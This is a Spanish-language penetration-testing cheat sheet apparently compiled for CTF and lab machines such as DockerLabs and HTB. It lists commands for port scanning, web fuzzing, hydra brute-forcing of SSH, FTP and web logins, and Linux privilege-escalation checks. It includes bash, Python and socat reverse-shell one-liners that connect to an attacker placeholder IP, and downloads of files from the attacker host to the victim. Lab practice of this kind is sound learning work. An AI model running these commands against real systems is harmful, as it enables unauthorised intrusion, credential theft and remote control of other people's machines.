Cheatsheet - Comandos Más Usados
Comandos de referencia rápida usados en la mayoría de mis writeups. Reemplaza IP, PUERTO, usuario, etc. según corresponda.
🔍 Reconocimiento
# Escaneo rápido de puertos
nmap -p- --min-rate=5000 -T4 IP
# Escaneo con detección de versión y scripts por defecto
nmap -p PUERTOS -sV -sC -oN scan.txt IP
# Escaneo UDP (top puertos, suele tardar)
nmap -sU --top-ports 20 IP
# Descubrir hosts en la red
nmap -sn 192.168.1.0/24
🌐 Enumeración Web
# Fuzzing de directorios/archivos
gobuster dir -u http://IP -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak -t 50
ffuf -u http://IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raw-medium-directories.txt -e .php,.html,.txt -t 50
# Fuzzing de subdominios / vhosts
ffuf -u http://IP/ -H "Host: FUZZ.dominio.local" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs TAMAÑO_RESPUESTA_DEFAULT
# Identificar tecnologías
whatweb http://IP
curl -I http://IP
# Escaneo de vulnerabilidades web
nikto -h http://IP
# Archivos comunes a revisar siempre
curl http://IP/robots.txt
curl http://IP/sitemap.xml
curl http://IP/.git/config
🔑 Fuerza Bruta de Credenciales
# SSH
hydra -l usuario -P /usr/share/wordlists/rockyou.txt ssh://IP
# Login web (formulario POST)
hydra -l usuario -P rockyou.txt IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# FTP
hydra -l usuario -P rockyou.txt ftp://IP
🐚 Shells Reversas
# Listener en atacante
nc -lvnp 4444
# Bash
bash -i >& /dev/tcp/TU_IP/4444 0>&1
# Python
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
🧷 Estabilización de Terminal (TTY)
# 1. Generar un pseudo-terminal (PTY) con Python
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z para poner el proceso en background
# 3. En tu máquina atacante, modo raw
stty raw -echo; fg
# 4. Ya en la shell de la víctima
export TERM=xterm
export SHELL=bash
# 5. (Opcional) Ajustar tamaño real de la terminal
stty rows FILAS columns COLUMNAS
# Alternativa con script (si no hay Python)
script -qc /bin/bash /dev/null
# Alternativa con socat (interactiva completa)
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:TU_IP:4444
# Con rlwrap (historial y flechas en el listener)
rlwrap nc -lvnp 4444
⬆️ Escalada de Privilegios — Linux
# Ver qué puede ejecutar el usuario actual como root
sudo -l
# Buscar binarios SUID
find / -perm -4000 -type f 2>/dev/null
# Buscar capabilities peligrosas
getcap -r / 2>/dev/null
# Scripts de enumeración automática
./linpeas.sh
./linenum.sh
# Crontabs
cat /etc/crontab
ls -la /etc/cron.*
📁 Transferencia de Archivos
# Servir archivos desde atacante
python3 -m http.server 8000
# Descargar en la víctima
wget http://TU_IP:8000/archivo
curl http://TU_IP:8000/archivo -o archivo
# Vía SCP
scp archivo usuario@IP:/tmp/
- Reemplaza siempre
rockyou.txtpor wordlists más específicas si no da resultado. - Guarda outputs de nmap con
-oNpara no repetir escaneos. - Antes de escalar privilegios, corre siempre
sudo -l, busca SUID y ejecutalinpeas— cubre el 90% de los casos en labs tipo DockerLabs/HTB fácil-medio.